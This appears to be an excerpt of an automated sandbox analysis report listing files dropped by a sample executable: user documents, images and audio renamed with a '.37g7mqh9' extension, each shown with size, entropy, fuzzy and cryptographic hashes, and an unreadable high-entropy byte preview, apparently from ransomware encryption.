                                                                                Preview: .5...=......."%c..6..y.A.}4l...r..`.:.....q......g.7.s..b..k...L.4,...Y.$...+....bR....*.X..@...3..G....5*9a....B..2...}fTc.zy.W\n..`q. aO.+.X.]...4.....U.J4FE.j.>...,..4.z..zL...k.4.=...U^I..Y\..e...:Y...8...?.I..............|W...H8...N......l..N.F.x...!.O.:% f..hh...R.P5.v?.|E..L.....jB....,...\W...=.f....{{....71.G..e.9H....pZ$...*...Zk8.q#.^'C....+B.....9..b-2......g:..........H]...1C_.+.!.\....*k...l.%..|U.!.1....t]."...~.&.Y.s..|.>..@f.h....]..F.fk.......i7..1Z..Vvt...qQ...~..*......>b..r..\...9.b..-..'.zK...8W.S0...u.......R.:..bu_..4is.....[%.m.J..c!..pd...7..BV.]..KI.Ea...6.....cj.._.Mxh.B....}..=m....._^k.K.W..y.<..r|V...@.q.B..%R...O.Y^...!.jv...*#..kE?A.....T..y.7.-a.Ie.56qN<..V.'...{z.Tj..WB~...f..+v..3\..m..C.....#...Ob+#.R.N.9JF....<...\....6.-2....f"_..5R.......!@qzIc...F{..T..K.~.[..j[...+..q.G..b..ML_>mu..e.........k..7.9.l.~..N.yI..+.....I.~.#.jSH......"4.|..J.hH..f.E.6$O.k....Q.16.....3..T..lm.-..?I$.zbD..,
                                                                                c:\users\user\documents\SQSJKEBWDT.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854165367087054
                                                                                Encrypted:false
                                                                                SSDEEP:24:W7WrO0gm6LF+l9PaSQzy7nH6XlNs6kX7m4BrTfu/AXkO0Jh:W8O/m6LFO6Ea1NsF7myTfu/A0O0L
                                                                                MD5:B83895233788DF7B46745C0CD2F8DF22
                                                                                SHA1:0395F7CB23F8AC541EC1BFBF22BA187B8EBB2380
                                                                                SHA-256:08DC82E3FAB4584802378679910AB7DF9E507EA8717779BB943067BED1C4AF51
                                                                                SHA-512:73FD7BB723515786C0672D159E155256491AA9510A6C565C181B02F072EEFBA1C8B4A2ED7BE13DD9E3FADBF3AC67430536E9DA8F0F64DE03A3357B4816AB3C71
                                                                                Malicious:false
                                                                                Preview: @.(.r...L..v.UJd..|..h.Y.......3`.a.n.Re*......K.....l.....(.:..........9..H......s.P.9..w....{qn...y.=.A.5.....]Q.;e.U.6......!....u..\>:|....7Ad.%..6(.(\...`..tn.C..L...;E.=....<yKD.+..Fe........y*.X.3=Fq.8:3..x).P..3.v..?..2..HD.@./&T......ADCm.....j.:..Fvv.n..y..:.,.4.e.0+...>..h$[..?<F...__..m.R5%...q.....&...o.......wG..U}P>.W...c..N[...pY9.H..k.....Q..lR..F?.Z.....!.....e...L....KW,...7XS..g?E.?...Gd..X..z..]H.....C^+!t...._.....l.....Xd]..j..[.O6 >/.E.*.....z...I'&.!..H..-.....H.J@..<.N.....#..am.}."JWiOH....(q...<..*!.f..d..w..%..'.M..E..:<..o......^...<...)4...{.v..W.W....q.Q<h...=o...+i._v.%..Vc=."......B~.#....,(........[.b....1l-.36.......I.c.....'i;0....#....+.......v.3...9.8...>....p...8.#..s.s.F.%i.......lM..3.W.I.(..L.O.C...z.=c...=g.v.v...~......4ci<... rD.rw...T .m.T.).C<.A)....kN.@......#...il....XL.zh.....Pj..A.M~...V..n;)..j......Z....F.PQ.p...4n.U.."V+....@.A.....F7.ik..."&.z.Xv."[...#....._..{b...;....Z...k..R
                                                                                c:\users\user\documents\SQSJKEBWDT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.857518160961909
                                                                                Encrypted:false
                                                                                SSDEEP:24:GbgpY8LeiE4KTsGXTswNGfcr9GYJ5JFoUCBrTfu/Art:z6h4/GXTswNGUlJdmTfu/Art
                                                                                MD5:2CC996619F4461A07E3F3C8E46BA446C
                                                                                SHA1:BF6100E628D7C2D05EABECD2F76C06778029ADA3
                                                                                SHA-256:7FE1AF5E52EC2A78A7EB51D077998C4B8CFE1CF7AE609453C272ACC4DC5FAD20
                                                                                SHA-512:7B15F60381E14D5FA66FFDD125D0AC02067EB035BF29D19AA916C55B5D631797D87B83CB6D9F7B99985CAB50C75EAAEFA116994743BDD358EAD5EA78CDB60B74
                                                                                Malicious:false
                                                                                Preview: .C..p.R"...V2.@l.:.<o...rD8.:%.Pn....T.....0..m.o....3..b...|jB..O.*.Y.k.... s.zyTND.EP.V(....{k.....r.*Em.45...Y..A..r.V...!...M..?.[..KC.9. 0..L.........".....p1|....1%..nn.....|K"J....OiW..BD...-......U..[2..u....5...H.U.b....K...T....m.2..N..nc.h!..O.F..A..?J.._.Z..$.,..S.m%..-...%..Wn..?A....zAs.......!X.P.tZ...T.%...%...+g.)+c...#H..V....)..,"./....._.......<dV..!...F7(w.;.R.u.+-.7B.%8/5.h..]..|U+Ge...;..K.0k..p...*.0......W..?R$...1...q...\.g.Z....T......wm.6./...e.:.>.......w....z7...F......V..v .....f.6... B.BjL. |q?u.~)!..:<..f.p..4.....$.x ..w..S...Y..1.........5.~.A:t>.0.4....&.\].^c...UL8...S..R.h>,....3..7gp.2.:..t.e...)...b.>....bWR..s'..eH%....I....+..!.B.M....-r.....4...v.C.@..[...h.&..63mW.@.{.C....G...f..o.w..s....:q.\.|g.)`....D..(FE..m....V.`.....\.~..-5m...P.J....P..)=.nk.8.|...<...G...5.Y.0..4.....v:8...d.....tt..F3.6cG..6.&i...{....#..8p...`..TE..1.5.V..Z...ba..;h.J]H..F.L............z..4.E.%$...3bL.+P.....P.
                                                                                c:\users\user\documents\SQSJKEBWDT.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844847209796468
                                                                                Encrypted:false
                                                                                SSDEEP:24:4zIeCmHFn+yC+sCTFnLT1i5Ck6kpiHNCzWpD2nXy62rTfu/A/:45rE+sy1UCk+JpD2nXWTfu/A/
                                                                                MD5:8DAF703C7799BED5BB8FD664392ACF51
                                                                                SHA1:B3CADECE6398FC054E7E1A3F4771CDEF0EE5A9BF
                                                                                SHA-256:561A96B2E674FE09AFA8FD718BCF871CAB93CEA5FC7128A78F55DDF3E877D147
                                                                                SHA-512:3AC8179CAF55A1CB00E3048C15980D567E54E9B5618E2A2C75DCD68891FA3C22E01C69580E23559AC7FC4F4F1D7AAED998BD0CCC2D827B63223D940EC6F9E783
                                                                                Malicious:false
                                                                                Preview: l...a!.w%...........y.7..U@v].8a.,.....%{...F...b?.!x.x...r+.j...F.....R|.#E\...+f. .rO.8.#.../A.y_U.0..r...N1.....6c.c[..P'..8uz,..5.X.C+.....J.U.[Lt.g.i(.HM..RjP>.kN........b...D.JR.I...1.N......jH...d8S.&.$X..)s..Gx..n.~.S.E....PO........Q.&.n..1.c...!.........K$.J...1.K.N..}W..R...u@..z..|/y..tp=.....sO.L.[7 ./+d.......\G........}..s......P...m..7...C3...q.........Z...b..O.M.@{.SJcg...l.Z.j....;7.).._.tNJNK....J..#..0.'&(.e.._.5L\.C.'..`.i[X.*.:L....30*..w.\.g..oQl<y<J.~.1ju.F.$Y(.._...u.j......J@..Iu:...I..#0)E.._..2.iurevnX...&....V@..p[..N(.H.<5....1.}@.a.q.......e.J"....n...^..).*,.m.i..y.&.I...(+@.._."m.C.G..#.#M.m.C..:.j..5...E..0...U..i....u....=F..'.1.y.t.G.}..B}.y|p..KH.J.;.E..1.......A.Ep..I..ks.\..Ox...f.>M....=V....u.^,.........B.7IB..D6>.j.nO...Oo..8..%..R..Q.0l..).Q.V..............*...._....Za8.:........K~.N...9.....n..q..]...s<..(.6gd.%....8...'..w<:..|f.,-..%..u~.y..a..K...B....^....{...eJ.J.v .....7.w.....t.8..v$z..
                                                                                c:\users\user\documents\SUAVTZKNFL.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.851491498536968
                                                                                Encrypted:false
                                                                                SSDEEP:24:1D7VYGxP9WPffd9oSwR/BthnPlj20KwfOzSbPZ3RNhrTfu/AEr:wGxPeffcSw7thPgHxzS9tTfu/Ak
                                                                                MD5:0E449A5626E6B781E33B73D7593D2378
                                                                                SHA1:2303B04400F99C19EE70E6599A6CDF3A47AAAAE3
                                                                                SHA-256:A1E2BD484B43D833F803B701496EAD8A8592CCFFCE90CB08ACEF306E66174241
                                                                                SHA-512:3B4E8F26CD825BF81781A51F49363D35DC7C84C517D6638FE6127DDBE4DC708CEC3D230C4EF757919ADC2CD30870FED640DD17207967BE57F37B9FC1DC557803
                                                                                Malicious:false
                                                                                Preview: $..s.R..9....i.<A)P..yA.V.,...p.tq....Z....q......,R....H........{.K....r$.uNK._/.\.......<2.V4...J_NW.......^:,.B]......Rn'@...-..K^.j.\.6@P....N.V.S.?GH({E...~$...../.&..n+k=..@...{c........X)l.vi.=2.R..'.j._...H.@...i{KW..6.K0.q*..l.ud%.{....p}.{...P.JB.y9..%........+.y.N.8.].qa&.....~....N....KH...t..V.C.?..I.h..t.;K.L.O...c..y.xj.3..E......Z..\..*&...t....6.J#.Y.6..../...y.79.t<...t^...P..M-........9Q.o.k.... E...4.........T._*h..,..#3.'.-.-.d...g..F......FB.2Z..sm....h.Sn.....k.S..Y...K...O.}Q..z...+..O.Su...#....R.....&...."=.o].!..l....H..s.H...-..'X.VJ...&g.).8;..H..!...3O.*......S....~......m.BZ.18MK.h..o.."..pcq.u.P..U......CY..X..{..[=^V...4.. T.(...g0~....3..6.....sN.....0;.....O.^.5..7.8W...^..|.<!.$......P.X.j{...z..Q.".....U.m.6..x..N...$q.7....A...st.b.....k%.&..A.,........0.XK?&@.N.R3J^.+QL........I.]w...P..2.5..Y.....V.%.0q2.....4.r.........o.6.|.LY+[...W.........'1..I.w.. %.<.R.EMX..Q0.!.qL...w..2./s.pL..%.....@..T
                                                                                c:\users\user\documents\TQDFJHPUIU.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.860124550612168
                                                                                Encrypted:false
                                                                                SSDEEP:24:TZBADegtBIvYwz1VN9GkiWPto83wIsVGJJv7pU6W1Ba6ModrTfu/AFKWe:1BSeggvYiWrWo8AIsVGJJvC6WHFfTfuT
                                                                                MD5:8717A9C28841C6CC338C78B1224DAFAF
                                                                                SHA1:1ADF49517F8625B25D4A2CDFC62FF2DB7C2936D4
                                                                                SHA-256:ECCB732BE9331CE8DC6665AF3E29FF4E51B39EDC435BFF5CB2CBD9CA429E21ED
                                                                                SHA-512:499186A9D82576F4ECD3688B2084FC3202ABF53CC58E573887BEB2E4E5415141FFE5607B5F47CE2D6F34952BC71835813572FEA504454CE3D46F4F1CBD4601F8
                                                                                Malicious:false
                                                                                Preview: ..."nl.I.DLt.N..Zx.=...vnd|..P..]...[...6.yM..E.#]...........[...J(..Z..sE..v5|zz.v...G`...5.b=.).e...\...%;..&...1|....q@.9Y....u....!.g..r.;......f..Hz9.v..J. =5E.a.sp.Z..G].7^.-.j#.h.S.2.Z..[.....!..a../..p.....k..8N...v..e..e..s.:.[g...Vy...1.Jy.%..x..).6....\.y.f..RzL.6.E.N).........aLg...(..1"V..Z.f".t....Do.4F.CT.v....^.U...%.VR2z.,..wX~8.3e...z.s...Fc..M....w_Y.A.jN.z...6...n."..]...L....Z..)....GJ..X .l..9X.|c.t.Q0.....a...{...6.\..}.,.'}.E0v..`.q. .Q.8..4.e........D.K.".a.....j.p...>..~.y.K..Y...D..y=.m2.(..F+5HN.Z."t..B6.r.\B0[RO.X.Kb.J...`..j..`......F.x|g.{.)..\+..+...o.......x.....).k..5..1..Ys...>!.xM..O..*.7I.L.@.V.5.Y...X....m#/..=..#. ..W. .R...n.f...{...q..:...H7!...$....H...K.N..p........(.r..[..$.r.....?.m.o}.g...eJt.y......eakS=......2".....d8.b.#5J..v...<*.O....]cY.....H.v.S=.....s.k......d/yam.zW......nv..\....*.s....m.6....\Bw`L.._1..,.>.+._..^..C".C....\j.. .,W.....Vv...k...,....._sb....pi....#......m..Br
                                                                                c:\users\user\documents\bnagmgsplo\BJZFPPWAPT.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849162893159549
                                                                                Encrypted:false
                                                                                SSDEEP:24:NOYA6RwZnC+ywgyI1QXvJuwQeKj96FftlxCkT+mvOlIrTfu/AP:1A6CwMIIv4wwB6FQa+wTfu/AP
                                                                                MD5:23AE4E6C294088BB8331EEEBC1074246
                                                                                SHA1:0E84A3EE0F1BB4208AFA00E5FD4035F7C03A6EDE
                                                                                SHA-256:9A8917C43D30D3F3EE312BBDA0499CAB2437C89D8124A73B95A1995B13BB916F
                                                                                SHA-512:EE0DBD064DA93F434D90BD17B307D3DC8E02CF47F77EE0E831DE1AFF633CD98C95807CA674EE7865B2E467F5BF6B200630CB1B60E37E7AE4E4DBEC1E8B49B89D
                                                                                Malicious:false
                                                                                Preview: .Z.......M.l.%.Z...U....7.Q......p#.V...u@.E..G.g$.m...x..d.a.>.r.....m:...V.....O..b........zYTV:LF....f.f."#`...MO.P"...!..v.s L..v....Sb.......C;.e...4.c.`..Fo.MSi....*..zL.H.!.]k[....ef...Y...........E.`..s.I/B25...mR./.@.f..2...C:28. 3aX..f.V...`..C.!8...z.....J.?.]........|uS!5....%."OC. .... .....>.+......v_].?..-.....8$!y.....$...] $S.....o.\....1...J...2......../X...XNi|.6J}.T_...C}..D....S.Bw.h..]...............%4.x..[=....X.5ORSwJQ*#.T...z...W..L..B..\....1.\^.........1~1t.X".W6... K.J...Z..T...yej..;T...5j*t.....W..2 4n}.....y.Et.z.c{;.G..Z...O..D....fP3...B...R.TS9.Isk7.<...)..aNy.E.[Y>..=.>....9.+.R...?..R.i{.x?.r..L.....{.].l.B3...^..?.\.....U;...cF..@.F.....mg..$..Q.=w].j...|j...@...&V.)#.....^#....]>E......J.@x9.Mh......J...BG..'.h..~]......UI....."\..;.}..n.[........S...\=..1.w"F....".%@...%cX/~r...Qt..g-*)#&..)a..@x$d.\./.{..v.Rd..*`.[..3.p....iYm*0cf..k_Q.....b...0.M.1.....E.l...q..[........5z...I.8...BZ.ys.*..Y5"
                                                                                c:\users\user\documents\bnagmgsplo\BNAGMGSPLO.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.866165118115974
                                                                                Encrypted:false
                                                                                SSDEEP:24:IPPI1ndhmLg461cQs363FZVGWNhG+c7iWAzJsTchlE7PCXabWK478dwrTfu/Ay:7jwLg4rgMWNKAKTElE+XaCK1dyTfu/Ay
                                                                                MD5:719B8019D7EA87E7CFB2CBF5477CA361
                                                                                SHA1:0ED0DF0261C71DDF0F66B43D8296D387419851A7
                                                                                SHA-256:531D359CA2702A8066154F719FBA363EB15334AC7EE3CC52CE7E96214C0FB0C0
                                                                                SHA-512:E099220065A9B58225B9640ACB24471A59831F9C83180D3F8D1A786228042D1F017A84A8AA94605F895A5178ED78673627E1F2CA76BE4B028FC87509BE881C9E
                                                                                Malicious:false
                                                                                Preview: .2.U.N.X.L..Dh[.c.T.O..Q.5..H...[`...NU..O......c..qh...X.f"....ei.kG...0..~.P.>..E.}.FD.c.-...H_@k.N.l.3Y.._.X..X...FZ...O...|^z..Y.:.Nt4.zt.m..j'..AtI.o..~i_..<..F.%...@......1y..n...^.?.g......z{b.4.A......A.%2V...`%D'..^.5..`*+q. m...:...Y..@...]C...<..n....T..oM.1..1..x.....woQ"..n^...1.<.....I.-.....@M....;54,.u..K.E4.l..X....{.Y... ..JJ..e%,o>....X...6qs...2....[.P.v..n..W_Yb..;..M....:..Cr....?..k..~......n..m.%..9....>O..D`....q.C...1.]..'..r...B.U...wDJ..........2........n....%@G'VVo..8.q.....6H.\.K....:..A...a`2=..{..0.d..c"..Lx+...7.6...3i..T......|..Ve.....".p.(Y7..b..',8....Q...e.~...G.....:$Z~..^#..n.j.A.'..?m..VkX...........e.q...l..ru.%....!...Z.y...)S'&`V..71..l..YQ.a....n.D....K..r......%.f.Q.2.......]...X-. H.[..C.^.Ix.9.......P.....-.B..(...C\.p .D..f...Q-.....i]..t..)O.>.....lX.>..+E+.S..\.L|...@.Z7|]%.~....nv..9... t%<.I.K..Q9...Z6....E..}.q"2..h*..a..k.J..gw..........!.KvjQ...n%.{.......g..B.9..r{...... y.>.(.
                                                                                c:\users\user\documents\bnagmgsplo\EOWRVPQCCS.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.847381774509279
                                                                                Encrypted:false
                                                                                SSDEEP:24:d+n7fdhmm7Bc1CHhHZCQfPIuOBXVt7eP1JHdrTfu/AQ8Ve:47fdsmtc1AH0QX1OBXVtWDHlTfu/A5e
                                                                                MD5:3D18D3E910C78A7ED26ED6FA292E5FB9
                                                                                SHA1:9C4B33226E072F7160DFA1F509D3D3BD9D75220A
                                                                                SHA-256:720008E026DE9EEF8A00226C5DE7B9C8DBC24F0D70634AF6B5137031DE0BBF87
                                                                                SHA-512:14B387D576C2B7B8D7BA5ADBC60016A2C379CA3164E82D1F6D9EB2A893735F86D0CA5BA530B980B55BD44AC15C9C58D3AAA2EF2E36F06F3129AED7123984CE41
                                                                                Malicious:false
                                                                                Preview: .`Ru._.5.$.e. .....I....E.B9g.25CP+2(/.\..eT90......^..)DD..#.-V:.dw.)u...hB3.\8..9|..-+!..N.1.Y..E_...xk.....j&..``.."..:..;..H.....6....d...V+....Ne....n.O...*>A...._. Q..V.k.=L>..=..n.Oqd..T.1.(.F..+.[D....~..4:',dvs ..).Q....pE~..3. ..j..ut.E.o=i..pO.D..........}....g..\..;.A..c+Za".%..``t......j..0...........N.....%&..(..|.............N....m.....%...)k...V..!"._.<qW6....Ghk>.KR.......p....Yf..z).$...).5.....x......LH............3...cn....$....X...m..3...:.\.34.~,.*.;..{nE..+..A.E...].3uQ....W....@5s....Uh....|.@.{e.r..7...i2..^s.fC.U..u6.......%..'..r.y.@13.R.CXfGm...|.J.....$\dP..D.,.8 ..<...j.K.A...7..].........E...*.[s.5[]>..8.d.T...+jzH.i.q.....V....0....Bg..s.F...f.we..*!/..#.-.....s.[.._.0.f..y.......~G.U7.L..K...p.K&...%..]aq.K.a.......5.HH*pGK.........N+%.xd...^..6.s.....?..&.p....U....3.U.....]e....~.m.J.]..5a..Sm@a..........L.v...^r.k.....L.&...L....7...g19$.FY9s....w...]..;.. ...i]f.9...Hd.......N..I.j ...!...~.7...
                                                                                c:\users\user\documents\bnagmgsplo\EWZCVGNOWT.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.870218417029394
                                                                                Encrypted:false
                                                                                SSDEEP:24:hIx7ZkqzC6ZjPFgd6/U38RTJvcruqebwTw9Ec7SrTfu/AWaJGF:hIjn1w6C8pJvcruqeMsiTfu/AWaYF
                                                                                MD5:FF1C4E96C514DEB14FB6DED26676898A
                                                                                SHA1:4126B22E2E6B107B1315A09B735AAD2E6B5A4BC1
                                                                                SHA-256:3686FAE84A7DE281DB6EE1F8299F56DAC668095BEEF21FC349F342479F1C092B
                                                                                SHA-512:2BD0E5EFA41597282BD4D993B7A09C0269B7F16ED3A46096F7D09A6089E577854EFC7E9666801778BF224FCE26563D439ED19752E6B0EEAEAD699A0AA64F3A5B
                                                                                Malicious:false
                                                                                Preview: A.+SN...%...%..{cxq..'->._D...s".0...n+`v..._.t.3.. .;...a...........#...~A.."............Bt(...J..L}.gO_B.;.....>.g...4...5.u<...|..(.X...N...#..,..K.O.%C...1..r.m...e.W..L../:....o..k.8..F*...Y...M..}..K3T3ca...P....~ki-.$.uM...i.$/M..P.Cw.g..$k.[...,{._........D...v......,....X@.C..8...........g...;1.l..Z........[...c....L+...i.....X.U..{.Cc.r..:......$k.z..L.V..I..(-.p81.W..faV9.......O.'<\...7...R.y..u...x..$..(..P;2.t.u_0.de.......:....s....o...^.+.......>%$l.....,'.7h.?..:...^$........w.:.\...;.r..hM.....j..[-%.".V.u....d....zL..7px..;..6.>.1.d..,...q......Q...._mT.+...R[8...#.^qS.TZn.hT...VWL|6..Nr.{6P...^0...Ao.0...P...{.v...,.J....Z...64......KA..?...;...H..B.'.. R.\.YW...zh-...F..:.V..7.-r.P..Y..O..._....\d6.....,..~...Z.F.b..d.....1..Y$.2U....X........%NQ.$...4HT"L..J.....Z#.e...........2...*...r..F.p...9...x.`Q.h~..Y....+^.O;:..<..#*.......2......[.RJo.x$..U_.h\....B......~kH..7C.w.lJ*..VV..o..X....!.....VD@.@.U
                                                                                c:\users\user\documents\bnagmgsplo\NVWZAPQSQL.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.828426826686227
                                                                                Encrypted:false
                                                                                SSDEEP:24:sM0Zns+DRJvW6pDGpy563A38kfx9E8phSE37PPF9ZWMxrTfu/AoL:sPfrv5p6pi6c86Z7371ff5Tfu/AoL
                                                                                MD5:B778D6A29FE1B5AE305494B70E777695
                                                                                SHA1:A885FEDC735FE8A79582E1FD9F45D86767244ABF
                                                                                SHA-256:3D999016A0600BC09529750971AD0A963FD730E2BD19AFF6ECCF768FD0404D38
                                                                                SHA-512:D182D94525919F614CA1F4BF19F8921475CC56C5A411CE04C13637DDC48FB982C217C22D4FA3E998809045AC19FC1558462B7FD81B473A23D32754BA5F92D588
                                                                                Malicious:false
                                                                                Preview: H.E......K8._i.n3.fHc...|........,.)M.........$.....r) '<..T....y{.[M.....n.Zb?)....0^.j.....%"...VZ.....G)..~.....!^.['..EB..............|../.Kc8.._.....O.5....Q...a@.1...Z=b.V...}..2....Px0nff.....!Sye,.Uc.{......|..r?9.xUU).....$..mV5..:..uS....D.d.....P*..jB5>44^OG{.g.\...O..#.l@.i...$iiN....h\,.w....,w.cq.*YT&c....x.|(....~.V..!.\aS....Md..j7A.f.t..#.q.D8...Dm.O..#.c*.D....y....o.....Bb7...\..E.....X..5..g..D.K.\)n.6R.Dk.(..o.9.A.K.....Sb(.H.2o....M....6.....#.C...]....t.V..j.;".Y8.O.bA#....$.j..s..w.....O...8.CH.$P#..-~..79....~..c.O/...M.|+.XV..h..l.|..E..-58..0.xH.K..-Vs.m...WDx,q..p.....jOmjV.0....}..(..E../l%.j..t.........;W.....7.%..E...;.Q8.|~..".3'...L.N....ig..;Li!.O..>[..4z#....^...7..v}$d..FD.%D.......`c.m.S0...n8......Xy.`2UE....e[...4...x.6k....d....R.I...G.JQO..=!..8~(T...^.o!.0.h...DV...G%.O..\\...-V.*e{..{....0|.V.%...~..8o3.k>y......*<.........5.<....#.......<L....3.....G).(.h.{.J?a.5+i.D<...%~B._.....'.ALo*.w..m......L.K....
                                                                                c:\users\user\documents\bnagmgsplo\TQDFJHPUIU.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.85297937014682
                                                                                Encrypted:false
                                                                                SSDEEP:24:RllBrlIph9bZ7jsO5c32Dm+zkixJMBFW7ZNuJHrTfu/AD+B2t:zCh1Z7jTdm+x+wuJLTfu/AB
                                                                                MD5:68F7F4957770790B2AB74601F29836CE
                                                                                SHA1:60D10936A44EF5DF60211E987D29D3628F14764F
                                                                                SHA-256:EDFF83022FDE2EA240D1B571503B208CE5086F06DEEA8B8EEFC8C0AE3406D926
                                                                                SHA-512:9A05FB749149236CDFA127A26F432440365F72C71DB92604004E66C3D9458D7E32EDB40B0F21397362E8314A1214942E55EB59ED43A70CE784C43F55CA95B6D3
                                                                                Malicious:false
                                                                                Preview: 1.[..u......_{&,..n.OzB...Y..?*.:."....T..G._i....jw..;._.tY.I).!.EZ...cI.`.a..Xk,...QAX..._N.g....V......7t`.v......;Kh..c.w..k.".m.d..._....p.k8w.-.....S..C...8..&....MO[..;...W..E..Y........v\.,.Eo-.^Mm+...LCG...s..C...\..y.......c.....CB9..A#;.......w.W..D4..>.L.6./....T\..?v.1.....&.rP.j....G.Q. ......?..m.......r......@...M.........[G:-.k.......q|?.Q...kq...v....Q...j;S+......1..D.nq._.a........!..0=... ..W.2....X7..u...u.\6z..}>....3.]*?....K...I.G..K4.K..cj....+.u.y...n'..(..Zs..?.$..us..gJn..~.....4......Z..W...:(.GBKu..}.I..v:.b..O.4j..../.0.ab.w.r.^....1\Da.....}..m.9..c._...>X!....!..Ev.|....g......o}0..:.kr).e.).......q....t.o.q. 0.9.c.^.z2mh...#..6NQX.c..+..7.f{.........EB!C....};.T...E..".....46.+.....O..!b...u...MB..&....=..:.....~......P\%D...S.[a7...i.g........;d...7G.mA..I.`Y...,..X*Bt.cM.....-....d...l...SG..h..`..`..z".....}..-..1.}..e&.......GF...ty.r...u.@......2....QD.R./5...A.u....t..0P."eoU....3...
                                                                                c:\users\user\documents\pivfageaav\EOWRVPQCCS.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8608053351506575
                                                                                Encrypted:false
                                                                                SSDEEP:24:UGLwQGIxiwHAFL8dWxkPBKFkvBELInU4VNEGTYWZ6eF+rJmJpYHrTfu/AOmSG733:0I7HEkJQXMnbV65LTfu/Ah53
                                                                                MD5:8DE54DCDD98AB6FF1779EEFC64B8D444
                                                                                SHA1:57BA0C8C321E320B7A7974DBFD135D5ADF5BF30E
                                                                                SHA-256:464FD329BD08528B2379E1B3149FF47EF851080F0D319050C13499EA0AAA3E9C
                                                                                SHA-512:D4334D51F477992C2AF2366652980C9C19F29B600E14762C127A4906B0435DE05F792BC3CA92C22F7731F72B23A1F9DE7334F35370220E3FD9EE8AAFEE2EF271
                                                                                Malicious:false
                                                                                Preview: .z.......8...BL....np4..^t..&.nt(..ID.+N.1LP..1.f.;.,I.n.R.-*7..r...E...c..}.....'U. @..i.RqY... ...f.]|..G.'...\.I.7......F.V`%(.f.u1.7.O(.......pt...X..\.8....6v.%wZ.-.x.9..aw..@.......J.`}..U.f&....6...8(Oj^.MH.[Toa{..^..ui.Cj..rQ......j.=T.4..yA.i.w...{....d.t..b_M@.#..S9q'..z......*...R$.<Hnb@..q....u< ]cQ..ZDc..f...6..8...uW6... ..O#.9+. ..............:...B..fw..A-...P.+.....|7>.*."...s..t.]...../..D..(..\..y....RC.]..i.'.K#......m2m.b....X.pU....v/...S8=..."(.....nK .D.Rk.>.a..... p.hd.....l..4w.uLB.a........!....j...kt.....rvC.:...`...i....9.H...xU/..<....?ux.Q"G"sbV..v<I7....M.....Q.(..........:^.....xy........9.e-.|..wf..0.Jp..G.....O...X....{.9l./"l...?...xW./.bz0<5......}.c2.-.{>!..R.v|v....M.4.....q/$g,......".......b:R...&...Np.=7..1`E......|sY..w..Qg.Z..5..?.....52..F..X..S..&.....L..6..Y.a.7*R...x...........\.e1..0..............>a]X..gJ.....m}.Y.&i..Ou..KR-U....gB.).......>.-..`.T...O.`^.........Jw.....@.z..R
                                                                                c:\users\user\documents\pivfageaav\GRXZDKKVDB.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.853098029860886
                                                                                Encrypted:false
                                                                                SSDEEP:24:taQyoykc+UpZVxIbYhP9hGSNSRix82C5C10uxZrTfu/AH/f:IyZUpZVxIGHNa2CcrTfu/AH3
                                                                                MD5:8A5E706002174A71CF0ECD3BCC723CC8
                                                                                SHA1:6BD72CA061D0BE256778A2359C265790E37370EF
                                                                                SHA-256:C683A3832D171961FB8C5074239B0595C4BEE7329AE7ECC12F6C416B1DABEE69
                                                                                SHA-512:5E663C31161F840622F908B895AD9126834FF9A5721E12CCC15A8449BB371DFAF956B2F154D47438E594CF12FE6A933E2A768CF8EC1B3D924C088446253FA243
                                                                                Malicious:false
